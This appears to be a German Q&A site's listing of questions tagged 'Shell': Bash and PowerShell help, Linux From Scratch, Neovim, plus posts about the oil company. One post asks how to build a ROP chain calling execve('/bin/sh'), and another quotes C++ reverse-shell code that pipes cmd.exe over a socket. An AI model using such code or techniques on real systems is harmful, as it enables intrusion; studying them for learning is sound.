Bash Script um DNS umzustellen?

Habe einmal ein Bash Script und eine .Desktop Verknüpfungen auf meinem Arch KDE und wollte bei Doppelklick auf die Verknüpfungen zb Updaten oder DNS auf 8.8.8.8 oderr Automatisch Umstellen.

(Ich kann auch via KDE Connect das ganze Starten und ohne EIngabe abschließen mit sudo pacman -Syu --noconfirm && yay -Syu --noconfirm)

Aber bei toggle_dns funktioniert das leider nicht mit dem gelieferten Code von ChatGPT (siehe Unten) und ich kann garkein Bash, nur "normale" programmiersprachen wie JavaScript oder PHP. Mit Python würde ich es vielleicht hinkriegen aber das ist doch viel aufwendiger jetzt die IDE erneut zu installieren als mit Bash.

Wenn es das gibt wollte ich eine KDE eigene Benachrichtigung in welchen Modus es jetzt gewechselt ist zb : DNS auf Automatisch umgestellt oder DNS auf 8.8.8.8 Umgestellt statt ein Terminal was ich dann noch per hand schließen muss.
Kann mir jemand weiterhelfen den Code zu reparieren ?

toggle_dns.sh :

#!/bin/bash

# Datei und Schnittstelle für die DNS-Konfiguration
RESOLV_CONF="/etc/resolv.conf"
INTERFACE="Netzwerkschnittstelle_von_euch"

# Funktion zum Setzen des DNS-Servers auf 8.8.8.8
set_dns() {
  echo -e "nameserver 8.8.8.8\noptions edns0" | sudo tee $RESOLV_CONF > /dev/null
  sudo systemctl restart NetworkManager
  notify "DNS wurde auf 8.8.8.8 gesetzt."
}

# Funktion zum Zurücksetzen des DNS-Servers auf automatisch
reset_dns() {
  sudo rm -f $RESOLV_CONF
  sudo systemctl restart NetworkManager
  notify "DNS wurde auf automatisch gesetzt."
}

# Funktion zum Senden einer KDE-Benachrichtigung
notify() {
  message=$1
  kdialog --passivepopup "$message" 5
}

# Überprüfen, ob der DNS-Server bereits auf 8.8.8.8 gesetzt ist
if grep -q "8.8.8.8" $RESOLV_CONF; then
  echo "DNS ist derzeit auf 8.8.8.8 gesetzt. Umschalten auf automatisch."
  reset_dns
else
  echo "DNS ist derzeit automatisch konfiguriert. Umschalten auf 8.8.8.8."
  set_dns
fi

Bild zum Beitrag
PC, Server, Computer, Internet, Windows, WLAN, Technik, Linux, IT, programmieren, Java, JavaScript, Ubuntu, Cplusplus, Bash, C Sharp, DNS, Gnome, Informatik, KDE, Programmiersprache, Python, Script, Shell, Arch Linux, Rust, Debian, PowerShell, KDE Plasma, node
Linux from Scratch - bashrc File anschauen?

Moin Leute,

ich arbeite gerade das LFS 12.1-Buch durch und bin bei Kapitel 4.4 und habe gerade die .bashrc File erstellt. Jetzt musste ich aber aufgrund einer Fehlermeldung und eines Versuches, diese zu beheben, das Terminal schließen und mich in einem neuen Terminalfenster neu anmelden.

Jetzt habe ich ein bisschen Sorge, dass meine Änderungen für die Erstellung der .bashrc nicht gespeichert wurden. Habe aber auch keine Möglichkeit, die Datei anzusehen, weil ich die nicht finden kann. Sie soll im Verzeichnis /home/lfs auf meiner LFS-Partition sein, aber dieses Verzeichnis sehe ich in meinem Dateimanager dort nicht. Auch über die Suche finde ich diese Datei nicht.

Weiß jemand, ob man, wenn man folgenden Befehl ausführt:
"cat > ~/.bashrc << "EOF"

set +h

umask 022

LFS=/mnt/lfs

LC_ALL=POSIX

LFS_TGT=$(uname -m)-lfs-linux-gnu

PATH=/usr/bin

if [ ! -L /bin ]; then PATH=/bin:$PATH; fi

PATH=$LFS/tools/bin:$PATH

CONFIG_SITE=$LFS/usr/share/config.site

export LFS LC_ALL LFS_TGT PATH CONFIG_SITE

EOF"

und dann mit "EOF" das beendet, ob die erstellte Datei dann automatisch schon gespeichert wird? Weil wenn man "EOF" eingibt, dann kommt man ja aus dem "Editor" wieder raus und kann weitere Befehle eingeben.

Beim Befehl "source ~/.bash_profile" war ich noch nicht angelangt.

Vielleicht stelle ich mich gerade auch doof an und vielleicht wirkt meine Frage auch komisch aber bin immer noch mit der Lösung des ersten Problems beschäftigt und bin mir jetzt halt einfach nicht sicher, ob das mit der Datei schon funktioniert hat oder ob ich jetzt irgendwas nochmal neu machen muss. Geht leider irgendwie aus der Anleitung auch nicht hervor, inwiefern das jetzt wann gespeichert ist.

Linux, Bash, Shell, Terminal
Linux from Scratch 12.1 - Verschieben der "undocumented instantiation" von etc/bash.bashrc als root funktioniert nicht?

Moin Leute,

hoffe, das Thema passt in dieses Subforum hier. Falls nicht, bitte verschieben.

Ich bin gerade dabei, mir mit Linux From Scratch eine eigene Distro zu bauen und bin jetzt auf ein Problem gestoßen. Hoffe, jemand kennt sich hier damit aus und kann mir weiterhelfen.

Im aktuellen Stable LFS Book 12.1 wird in Kapitel 4.4 steht folgende wichtige Info:

"Several commercial distributions add an undocumented instantiation of /etc/bash.bashrc to the initialization of bash. This file has the potential to modify the lfs user's environment in ways that can affect the building of critical LFS packages. To make sure the lfs user's environment is clean, check for the presence of /etc/bash.bashrc and, if present, move it out of the way."

deutsch:

"Einige kommerzielle Distributionen fügen eine undokumentierte Instanzierung von /etc/bash.bashrc zur Initialisierung der Bash hinzu. Diese Datei kann die Umgebung des Lfs-Benutzers in einer Weise verändern, die die Erstellung wichtiger LFS-Pakete beeinträchtigen kann. Um sicherzustellen, dass die Umgebung des Lfs-Benutzers sauber ist, überprüfen Sie, ob /etc/bash.bashrc vorhanden ist, und entfernen Sie sie, falls sie vorhanden ist, aus dem Weg."

Man soll dort also als root den folgenden Befehl ausführen:

"[ ! -e /etc/bash.bashrc ] || mv -v /etc/bash.bashrc /etc/bash.bashrc.NOUSE"

Jetzt zu meinem Problem. Wenn ich den Befehl mit sudo eingebe, bekomme ich folgende Fehlermeldung ausgegeben:

"lfs is not in the sudoers file. This incident will be reported.

mv: cannot move '/etc/bash.bashrc' to '/etc/bash.bashrc.NOUSE': Permission denied"

Wenn ich den Befehl ohne sudo eingebe, bekomme ich die gleiche Fehlermeldung wie oben, nur ohne den "lfs is not in the sudoers[...]" Fehler.

Jetzt habe ich halt das Problem, dass ich so nicht weiterkomme. Habe schonmal ein bisschen gegoogelt, aber da stand nur, ich solle mal die Besitzer meiner Verzeichnisse prüfen. Die sind aber alle auf den erstellten LFS-Benutzer gesetzt.

Als root kann ich mich in dem erstellten LFS-System nicht anmelden, da er dann ein Passwort verlangt, obwohl ich für root eigentlich kein spezielles Passwort festgelegt habe. Das Passwort vom LFS-Benutzer funktioniert hier auch nicht, da ich dann den Fehler "Authentication failure" bekomme.

Weiß jemand, was ich da tun kann und wie ich den LFS-Benutzer in die "sudoer file" integrieren kann, falls das notwendig ist? Oder wie kann ich da weitermachen? Übersehe ich vielleicht auch etwas oder stelle ich mich doof an?

Habe nebenbei auch noch die Videoreihe, die der YouTuber "marcus-s" mal darüber gemacht hat, laufen, um mir das nebenbei ein bisschen anzuschauen und es besser zu verstehen, was ich dort tue. Lese aber trotzdem weiterhin immer meine Buchversion, die ich von der LFS-Webseite habe durch und führe die Befehle von dort aus, da er eine ältere Version nutzt. Und da ist zum Beispiel diese Info von oben noch gar nicht enthalten, die Videos helfen mir da also nicht weiter.

Hoffentlich kann mir jemand von euch helfen.

Linux, Bash, Error, Root, Shell, Terminal, Fehlermeldung, sudo, Linux-Distribution
Hilfe bei diesem einfachen Bash-Skript?

Ich will dass das Programm wenn ich auf "gruppen anzeigen" klicke mir alle Gruppen im System im Dialig angezeigt werden und das Programm beendet wird wenn ich auf "beenden" klicke. Aber irgendwie kommt entweder ein Fehler dass bei mir das "fi" fehlt was nicht stimmt. Oder es werden die Gruppen auch angezeigt wenn ich auf beenden klicke. Ich habe versucht die If-Anweisungen zu löschen und dann nach  wahl=$(cat $inhalt) ein echo zu machen. Und bei mir wird immer "1" ausgegeben egal auf was ich drücke. Wobei ich eig. Wenn ich auf "beenden" klicke dann sollte "Ende" rauskommen" oder ?

#!/bin/bash
#
inhalt=$(mktemp)
auswahl(){
 dialog --backtitle "Elemente anzeigen"  --title "Elemente zeigen" \
        --cancel-label "Abbruch" \
        --checklist "Bitte treffen Sie Ihre Auswahl!" 10 50 3 \
        "1." "Gruppen anzeigen im Dialig" on \
        "Ende." "Programm beenden" off \
        2>$inhalt
 fehler=$?
 clear
 if [ $fehler != 0 ] ;
  then
   echo "Da ist ein Fehler aufgetreten"
   echo "Fehler-Nr.: $fehler"
   rm $inhalt
   exit 1
 fi
 wahl=$(cat $inhalt)


 if [ "$wahl" == "1." ]; then
     dialog --backtitle "Ausgabe von Gruppen" \
            --msgbox "$(groups)" 20 60 \
 fi


 rm $inhalt
}


while :
 do
  auswahl
 done


Betriebssystem, Technik, Linux, HTML, Webseite, Java, JavaScript, VBA, Bash, Batch, cmd, Informatik, Informationstechnik, PHP, Programmiersprache, Python, Shell, Webentwicklung
Wie kriege ich mit ROP einen "/bin/sh" Pointer in rdi?

Ich versuche, rücksprungorientierte Programmierung (ROP) zu lernen.

Und zwar habe ich ein Programm mit einem Pufferüberlauf auf dem Stack, und ich möchte das Programm dazu bringen, /bin/sh zu öffnen.

Das geht mit dem execve Syscall, wenn ich die richtigen Instruktionen finden kann, um die Funktionsparameter vorzubereiten. Das ist die Signatur von execve:

int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);

Also muss ich die folgenden Register setzen:

  • rax = 0x3b (Syscallnummer von execve)
  • rdi = "/bin/sh" Pointer
  • rsi = NULL
  • rdx = NULL

Die folgenden Instruktionen habe ich bereits gefunden:

pop rax ; ret
pop rdi ; ret
pop rsi ; ret
pop rdx ; ret
syscall

Ich kann also die Instruktionen und Registerwerte mit dem Pufferüberlauf auf den Stack schreiben und so meine Register füllen. Das Problem ist aber, dass ich einen "/bin/sh" Pointer in rdi brauche (also nicht "/bin/sh" im Register, sondern eine Speicheradresse, an der "/bin/sh" steht).

Ich kann natürlich "/bin/sh" in den Puffer auf dem Stack schreiben, aber leider ist die Speicheradresse jedes Mal anders und ich kenne sie vorher nicht.

Ich weiß, dass "/bin/sh" in libc vorkommt, aber auch dort ist die Speicheradresse jedes Mal anders und ich kenne sie vorher nicht.

Wie komme ich also an einen "/bin/sh" Pointer? Gibt es Tricks oder bestimmte Instruktionen, nach denen ich mich umsehen sollte?

hacken, Hack, Programm, programmieren, pointer, Assembler, Hacker, Hacking, Informatik, IT-Sicherheit, Shell, stack, x64, Exploit, hacken lernen, IT-Sicherheitsexperte, Register, Capture The Flag
FritzBox DECT-SmartHome per Bash-Script - Unerwartetes Dateiende?

Moinsen, kann mir evtl jemand sagen, warum ich den Fehler: "Unerwartetes Dateiende" bekomme, wenn ich das Script von dieser Seite ausführe?

smart_fritz_terminal.sh

Sehe da keinen Fehler. Bin aber auch kein Bash-Skript Profi.
Weiß nicht immer genau was wo zu beachten ist.
Hoffe mir kann jemand helfen den Fehler zu finden.

Falls der Link nicht geht oder sich die Datei irgendwie ändern sollte, hier nochmal zusätzlich der Quelltext direkt.

#!/bin/bash
# Die Adresse der Fritzbox
# Beispiele:
# fbox="https://192.168.178.1:444" # SSL-Verschlüsselt, Port 444
# fbox="http://192.168.178.1" # http normal, Port 80
# fbox="abcdef28kk6oabcdef.myfritz.net:444" # myfritz-Adresse, SSL, Port 444
# fbox="https://[2001:a00:12b7:c300:a00:a000:feed:921c]:444" # IPv6-Adresse, SSL, Port 444

#################
# Konfiguration #
fbox="http://192....." # Bitte Adresse eintragen
# Bei https, Ausnahme für selbst signiertes Zertifikat, sonst leer lassen
INSECURE= 
#INSECURE="--insecure" 

# Vollständige Anzeige: full, leer lassen für schnellere Ergebnisse
VIEW="full"
# das bei der Fritzbox konfigurierte Passwort
# unter System->FRITZ!Box-Benutzer->Anmeldung im Heimnetz
# Ist die Option "Anmeldung mit dem FRITZ!Box-Kennwort" aktiv
# genügt das Passwort für die Anmeldung

PASSWD="geheim"
# Der Benutzernamen für die Fritzbox
# Dieser lässt sich unter "System -> FRITZ!Box-Benutzer" erstellen.
# Dann kann man die Option
# "Anmeldung mit FRITZ!Box-Benutzernamen und Kennwort" aktivieren

USER="MeinName" 
#################
if [ "$fbox" = "" ]; then
if [ "$fbox" = "" ]; then
echo Bitte Fritzbox Adresse im Script eintragen
exit 1
fi

RED='\033[0;31m'
GREEN='\033[0;32m'
CYAN='\033[0;36m' 
YELLOW='\033[0;33m'
NC='\033[0m'
CURL=$(which curl) 
MD5SUM=$(which md5sum)
ICONV=$(which iconv)
AWK=$(which awk)

# Die SmartHome-Seite der Fritzbox
CURLCMD="$CURL $INSECURE -s $fbox/webservices/homeautoswitch.lua"

# Funktion zum Ermitteln der SID / Anmeldung bei der Fritzbox
get_sid() {
SID=$($CURL $INSECURE -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
if [ "$SID" = "0000000000000000" ]; then
challenge=$($CURL $INSECURE -s $fbox/login_sid.lua |  grep -o "<Challenge>[a-z0-9]\{8\}" | cut -d'>' -f 2)
echo challenge: $challenge
CPSTR="$challenge-$PASSWD"
hash=`echo -n $CPSTR | $ICONV -f ISO8859-1 -t UTF-16LE | $MD5SUM -b | $AWK '{print substr($0,1,32)}'`
echo MD5: $hash
RESPONSE="$challenge-$hash"
POSTDATA="?username=$USER&response=$RESPONSE"
SID=$($CURL $INSECURE --data "$POSTDATA" -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
fi
echo SID: $SID
}

# Funktion zum Ermitteln von Werten
get_value() {
RESULT=""
if [ "$2" = "" ]; then
RESULT=$($CURLCMD"?sid=$SID&switchcmd=$1")
else
RESULT=$($CURLCMD"?sid=$SID&ain=$2&switchcmd=$1")
fi
}

get_sid # SID holen
if [ "$SID" = "0000000000000000" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi
if [ "$SID" = "" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi

echo -e  "${GREEN}Anmeldung erfolgreich ${NC}"
echo

# Liste der Schalter ermitteln
get_value getswitchlist
COUNTER=0
IFS=', ' read -r -a array <<< "$RESULT"

# Werte der Schalter holen
for AIN in "${array[@]}"
do
let COUNTER=COUNTER+1 
echo -e  "${YELLOW}Actor #$COUNTER ${NC}"
switchpresent=0
get_value getswitchname $AIN
echo -e  "${CYAN}Name: $RESULT ${NC}"
get_value getswitchpresent $AIN
echo AIN: $AIN
echo Connected: $RESULT
if [ "$RESULT" = "1" ]; then
# bei aktiven Schaltern 
# Parameter verarbeiten, etwa: 1 on
if [ "$1" = "$COUNTER" ]; then
  if [ "$2" = "on" ]; then
    get_value setswitchon $AIN
	echo "set #$COUNTER on"
  fi	
    if [ "$2" = "off" ]; then
      get_value setswitchoff $AIN
	  echo "set #$COUNTER off"
    fi	
    if [ "$2" = "toggle" ]; then
      get_value setswitchtoggle $AIN
	  echo "set #$COUNTER toggle"
    fi	
fi
  
  # Alle Werte ermitteln/ausgeben (langsamer)
  if [ "$VIEW" = "full" ]; then
   get_value getswitchstate $AIN
   echo State: $RESULT
   get_value getswitchpower $AIN
   switchpower=`awk "BEGIN {printf \"%.2f\n\", $RESULT/1000}"`
   echo Power: $switchpower W
   get_value getswitchenergy $AIN
   echo Energy: $RESULT Wh
   get_value gettemperature $AIN
   temperature=`awk "BEGIN {printf \"%.1f\n\", $RESULT/10}"`
   echo Temperature: $temperature °C
   echo
  fi 
fi

done
exit 0
  
Bash, DECT, FRITZ!Box, lua, Script, Shell, Terminal, sh, Smart Home
Ubuntu /etc/bin/bluetooth/main.conf Standard inhalt zurück bekommen?

Hab bisschen mist gebaut denke ich und bräuchte die Standart werte von Ubuntu 23.04 von einer Guten Quelle oder direkt von dem Source Code, leider nicht auf Github gefunden.

Wollte eigentlich nur meine Air Pods Pro 2 Fixen da immer nur einer gleichzeitig Musik abspielen konnte.
Der andere war wahrscheinlich als ein Mikrofon eingestellt da auch unter Klang und Eingang Air Pods eingestellt war uwas ich nicht will das das System überhaupt ein Mikro benutzt. Aber man muss eins wählen in diesem Options ding.

Und ja hab schon versucht von ControllerMode = bredr auf dual zu wechseln, deswegen geht es überhaupt erst auf einem ohr aber nicht auf beiden.
Ich muss auch bei jedem neustart des Pcs oder nach einer weile die Air Pods wieder erneut trennen und verbinden über bluetooth.
Das läuft dann jeden tag so ab : komplett entfernen, Case öffnen mit beiden air pods drinne.
taste auf der rückseite gedrückt halten bis es einen sound macht und weiss leuchtet.
auf verbinden klicken sobald es ubuntu erkennt und warten.
dann nehme ich erstmal einen kopfhörer raus und gucke ob sound kommt, es kommt keiner dann nehme ich den zweiten aus der case raus und da spielt sich dann musik ab.

das ist alles unmöglich zu benutzen und andere Kopfhörer hab ich leider zurzeit nicht. Meine overear mit aux sind kaputt gegangen und ich will auch keine Overear mehr weil ich dadurch haarausfall erleide, mit in ears hab ich keine Probleme.

PC, Server, Apple, Computer, Windows, Betriebssystem, Technik, Bluetooth, Linux, IT, Programmierer, Ubuntu, Bash, developer, Fachinformatiker, Informatik, Informatiker, IT-Sicherheit, Linux Mint, macOS, netzwerkadministrator, Netzwerktechnik, Open Source, openSUSE, OS, Programmiersprache, Script, Shell, Treiber, Unix, Arch Linux, Konfiguration, Systemwiederherstellung, Texteditor, Bluetooth-Kopfhörer, Dateisystem, Debian, PowerShell, Windows 10, github, Manjaro, Windows 11, AirPods, Air Pods Pro
Kalifornien verklagt große Ölkonzerne - Was haltet ihr davon?

"Der US-Bundesstaat Kalifornien verklagt fünf der weltgrößten Ölkonzerne. Es geht um Umweltschäden und den Vorwurf der Irreführung. Kalifornien reichte Klage gegen die Unternehmen ExxonMobil, Shell, BP, ConocoPhilips und Chevron sowie gegen den Industrieverband American Petroleum Institute ein, wie aus Gerichtsdokumenten hervorgeht."

"Die Manager der Öl- und Gasunternehmen hätten »seit Jahrzehnten gewusst, dass eine Abhängigkeit von fossilen Energieträgern zu diesen katastrophalen Ergebnissen führen würde«, heißt es in der eingereichten Klage."

https://www.spiegel.de/wissenschaft/kalifornien-verklagt-weltgroesste-oelfirmen-wegen-klimawandels-a-aaf40f40-f151-475a-9cc0-0af954b48fbf

" Wie Shell sein Wissen über den Klimawandel geheim hielt

Vertrauliche Shell-Studie

Wie ein Ölkonzern sein Wissen über den Klimawandel geheim hielt

Geheimdokumente zeigen: Shell wusste schon vor 30 Jahren im Detail über den Treibhauseffekt Bescheid - und entschied zu schweigen.

Vor mehr als 30 Jahren wollten auch Manager des niederländisch-britischen Mineralölriesen Shell wissen, ob der Klimawandel real sei. Zu einer Zeit, als außerhalb elitärer Forscherzirkel noch kaum jemand über dieses Thema sprach, beriefen sie sechs konzerneigene Wissenschaftler in die "Arbeitsgruppe Treibhauseffekt".

Das Gremium tauchte tief ein in die verfügbare Literatur und befragte Experten. Im April 1986 schloss es seine Untersuchung ab. Zwei Jahre später legte es intern einen knappen Bericht vor mit dem Vermerk "Vertraulich".

Jetzt ist das bemerkenswerte Werk wieder aufgetaucht (einsehbar auf der Internetplattform www.climatefiles.com). Der Shell-Report zum Klimawandel bietet 31 Seiten Schocklektüre plus Anhang. Hellsichtig und in glasklarer Sprache schildern die Konzernforscher darin ohne einen Anflug von Zweifel, wie das bei der Verbrennung von fossilen Energieträgern freigesetzte Kohlendioxid die Erde aufheizen wird - "nicht zu Lebzeiten der gegenwärtigen Entscheider", wohl aber zu denen ihrer Kinder und Enkel."

" Auf den Planeten kämen Veränderungen zu, notierten die Autoren schon damals, die größer sein würden als alle anderen in den vergangenen 12000 Jahren. Eine Vielzahl der Phänomene, die heute von Klimaforschern diskutiert und teilweise auch in der Natur beobachtet werden, hatten die Shell-Forscher bereits auf dem Schirm - den steigenden Meeresspiegel, den Schwund der Korallenriffe, die Abnahme der polaren Eismassen, die wachsende Instabilität von Ökosystemen, die existenzielle Bedrohung für Länder wie Bangladesch, häufigere Extremwetterereignisse.

Für die Menschheit, so schrieben die Auguren, bedeute das alles nichts Gutes. Die Versorgung mit Trinkwasser und Nahrungsmitteln werde wohl schwieriger, der Wohlstand sei in Teilen der Welt bedroht, manchenorts seien massive Umsiedlungen unvermeidbar. "Solch relativ schnelle und dramatische Veränderungen", so raunten die Shell-Vordenker, würden "bedeutende soziale, wirtschaftliche und politische Konsequenzen" nach sich ziehen."

https://www.spiegel.de/spiegel/wie-shell-sein-wissen-ueber-den-klimawandel-geheim-hielt-a-1202889.html

Sehr gut 65%
Andere Antwort 17%
Eher schlecht 13%
Sehr schlecht 4%
Eher gut 0%
Finanzen, Natur, Familie, Umwelt, Betrug, Menschen, Politik, Klimawandel, Gesellschaft, Klima, Shell, Philosophie und Gesellschaft, Abstimmung, Umfrage
PowerShell Skript ist zu langsam?

Der Code ist für unser Betriebs Netzwerk zu langsam. Lokal funktioniert alles super. Wie kann man den Code schneller machen?

Code:

$desktopFolder=[Environment]::GetFolderPath('Desktop')
$VonOrdner="\\deploy\deployment$\log\EmpPackages"
$global:NachOrdner="$desktopFolder\test2"
$Dateiname="Alle2.log"


Copy-Item "$VonOrdner\$Dateiname" $global:NachOrdner
  #Inhalt der KopiertestServer.txt Datei einlesen
$global:VergleichsString=try{[System.IO.File]::ReadAllText("$VonOrdner\$Dateiname")}catch{}  


New-Item $global:NachOrdner -ItemType "directory" -force #Ordner anlegen falls er nicht existiert


$watcher=New-Object System.IO.FileSystemWatcher
$watcher.Path=$VonOrdner
$watcher.Filter=$Dateiname
$watcher.IncludeSubdirectories=$false
$watcher.EnableRaisingEvents=$false 


$action={


  $changeType = $Event.SourceEventArgs.ChangeType
  $VonPfad = $Event.SourceEventArgs.FullPath
  $SourceDatei = $Event.SourceEventArgs.Name
  $NachPfad = "$global:NachOrdner\$SourceDatei"


    #Den neuen Inhalt einlesen
  $NeuerInhalt=try{[System.IO.File]::ReadAllText($VonPfad)}catch{}
    
  Write-Host "Start" 


  #Ab hier hängt sich auf
  #---------------------------------------------------------------------------------------------------------------------
  $Unterschied=$NeuerInhalt -replace "^$global:VergleichsString",''
  #---------------------------------------------------------------------------------------------------------------------


    #Ausgabe des Unterschiedes
  Write-Host "Unterschied: $Unterschied" -fo red
  [System.IO.File]::AppendAllText($NachPfad,$Unterschied)
    #vergleichsstring updaten
  $global:VergleichsString=$NeuerInhalt
}


Register-ObjectEvent $watcher "Changed" -Action $action|Out-Null


while ($true) {
  sleep 1
}
programmieren, Shell, PowerShell
Einarbeitung bei Tankstelle Shell - unbezahlt?

Hallo,

Ich habe vor Kurzem einen Minijob gesucht und bin dann auf die Anzeige der Shell - Tankstelle gestoßen, da dort momentan mehrere Mitarbeiter gesucht werden. 

Ich hatte dann Anfang Februar ein Vorstellungsgespräch (oder ihr könnt es auch ruhig Bewerbungsgespräch nennen) mit dem Geschäftsführer, um alle Einzelheiten zu besprechen. Nach einem Gespräch etc. wurde mir schon die Arbeitskleidung gegeben und die Vergütung wurde geklärt. Dabei hatten wir auch schon direkt Termine für Einarbeitungsschichten vereinbart, es war die Rede von drei. Außerdem wurde mir versichert, dass diese Schichten „selbstverständlich“ - wie jede anderen Schicht - ausgezahlt werden. 

Dazu kommt, dass wir schon vor meiner ersten Schicht den ganzen Papierkram geklärt hatten und ich den Vertrag dementsprechend unterschrieben hatte. 

Nach diesen drei Einarbeitungsschichten habe ich jedoch für mich persönlich festgestellt, dass der Job doch nichts für mich. Letzte Woche ruf mich der Geschäftsleiter wieder an und hat gefragt, wie es aussieht, da ja bald schon die Schichtpläne für März erstellt werden etc. und habe dann gefragt, ob ich nicht vielleicht doch noch eine Einarbeitungsschicht bekommen könnte, damit ich mir komplett sicher bin, ob ich das machen möchte oder nicht. Er meinte zu mir, dass das kein Problem sei. Gestern hatte ich dann meine vierte Einarbeitungsschicht und saß danach im Büro mit ihm, da er extra an dem Tag die Filiale besucht hatte. Obwohl ich mich sicherer gefühlt hatte, stand mein Entschluss fest: Ich habe ihn gesagt, dass ich da nicht weiterarbeiten möchte. Danach hat er erklärt, dass wegen meiner Einarbeitung sehr viele Kosten für das Unternehmen aufgekommen sind UND dass die mir meine vier Einarbeitungsschichten NICHT bezahlen. 

In dem Moment war ich extrem überrascht/schockiert und wusste nicht, was ich sagen soll. Ich habe dann aber erwähnt, dass er mir Anfang (vor der ersten Schicht) wirklich versichert hatte, dass die Einarbeitung von mir bezahlt werde. Darauf erwiderte er nur, dass er aus „menschlicher Sicht“ mich verstehen kann, aber dass ich auch die Sicht des Unternehmens verstehen müsse. Zum Schluss meinte er dann nur, dass er nochmal „gucken werde“ und dass WENN ÜBERHAUPT ich nur die Hälfte bezahlt bekommen könnte. 

Ist das rechtlich legal? Darf man das überhaupt machen? Es war ja nie meine Intention, dort die Einarbeitungsschichten zu machen und dann dort aufzuhören. Allerdings hat mir der Job einfach nicht gefallen. Das ist aber noch lange kein Grund, mir das dann nicht zahlen zu wollen. Kennt ihr euch da besser aus? Was soll ich tun? 

Ich dachte jetzt daran, ihn morgen einfach anzurufen. Doch ob das was ändern wird….  

Auto, Finanzen, Geld verdienen, Geldanlage, Kündigung, Rechtsanwalt, Geld, Nebenjob, Gas, Arbeitsspeicher, Bezahlung, Recht, Anwalt, Minijob, Arbeitsrecht, Arbeitgeber, Arbeitnehmer, Arbeitsvertrag, tanken, Gesetz, Anwaltskosten, Arbeiten von zuhause, arbeitgeberrecht, Arbeitsamt, Arbeitsverhältnis, Arbeitsvermittlung, Arbeitsverträge, bezahlen, Chef, Diesel, Dieselmotor, Experten, Finanzamt, Finanzierung, Geldstrafe, Gesellschaft, Gesetzeslage, gesetzliche Krankenversicherung, Jura, Jurastudium, kündigen, Kündigungsfrist, Logisch, Logisches Denken, Logitech, Meinung, Meinungsfreiheit, Moral, Preis, Preisvergleich, preiswert, Rechtslage, Shell, Student, Tankstelle, Teilzeit, Arbeitgeberwechsel, boss, Fragestellung, Preiserhöhung, Studentenjob, Vollzeit, Arbeiten gehen, arbeiten-in-deutschland, Arbeitgeberzuschuß, Arbeitnehmerrecht, arbeitsverweigerung, bezahlungsart, Einarbeitung, Ethik und Moral, Eure Meinung, Eure Meinungen, Finanzen und Geld, Meinungsäußerung, Meinungsverschiedenheit, Minijob-Zentrale, moralisch verwerflich, Rechtliche Lage, rechtliche Schritte, suche-song, Vollzeitarbeit, Vollzeitjob, vollzeitstelle, Rechtliches Problem, Tankstellenjob, Suche, Dieselskandal, Philosophie und Gesellschaft
Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)
(Neo)Vim Coc-extension wirft einen Fehler?

Guten Abend miteinander,

ich wollte fragen, ob hier vielleicht jemand (Neo)Vim mit der Coc-extension nutzt und mir bei einem Problem helfen kann?

Und zwar wollte ich einen language server hinzufügen, damit ich autocompletion für C++ nutzen kann. Ich habe also meine coc-settings.json erzeugt und geöffnet, sie war (logischerweise) komplett leer und ich habe sie auch am richtigen Speicherort erstellt, denn sie lässt sich aus Vim heraus mit :CocConfig öffnen.

Nun bin ich der Anleitung gefolgt,

:CocConfig, which will open main config file ~/.config/nvim/coc-settings.json
(empty for new installation). Add empty JSON object (like
{})

In die geschweiften Klammern habe ich nun den ccls language server eingefügt

https://github.com/neoclide/coc.nvim/wiki/Language-servers#ccobjective-c

Leider meldet sich beim öffnen von nvim jedoch immer eine Fehlermeldung und zwar:

Error detected while processing /home/xyz/.config/nvim/coc-settings.json:                                                                                                   
line   1:                                                                                                                                   E492: Not an editor command: { line  10:                                                                                                                                  E492: Not an editor command:        }   line  11:                                                                                                                                  E492: Not an editor command:      }

... und noch ein paar gleiche Zeilen mehr, kurzum er hat was gegen die geschweiften Klammern bzw das .json Format?

Ich weiß leider nicht was ich falsch gemacht habe und wie ich es löse, kann mir jemand helfen?

Ich freue mich über jede Antwort!

Computer, Technik, Linux, programmieren, Cplusplus, Shell

Meistgelesene Beiträge zum Thema Shell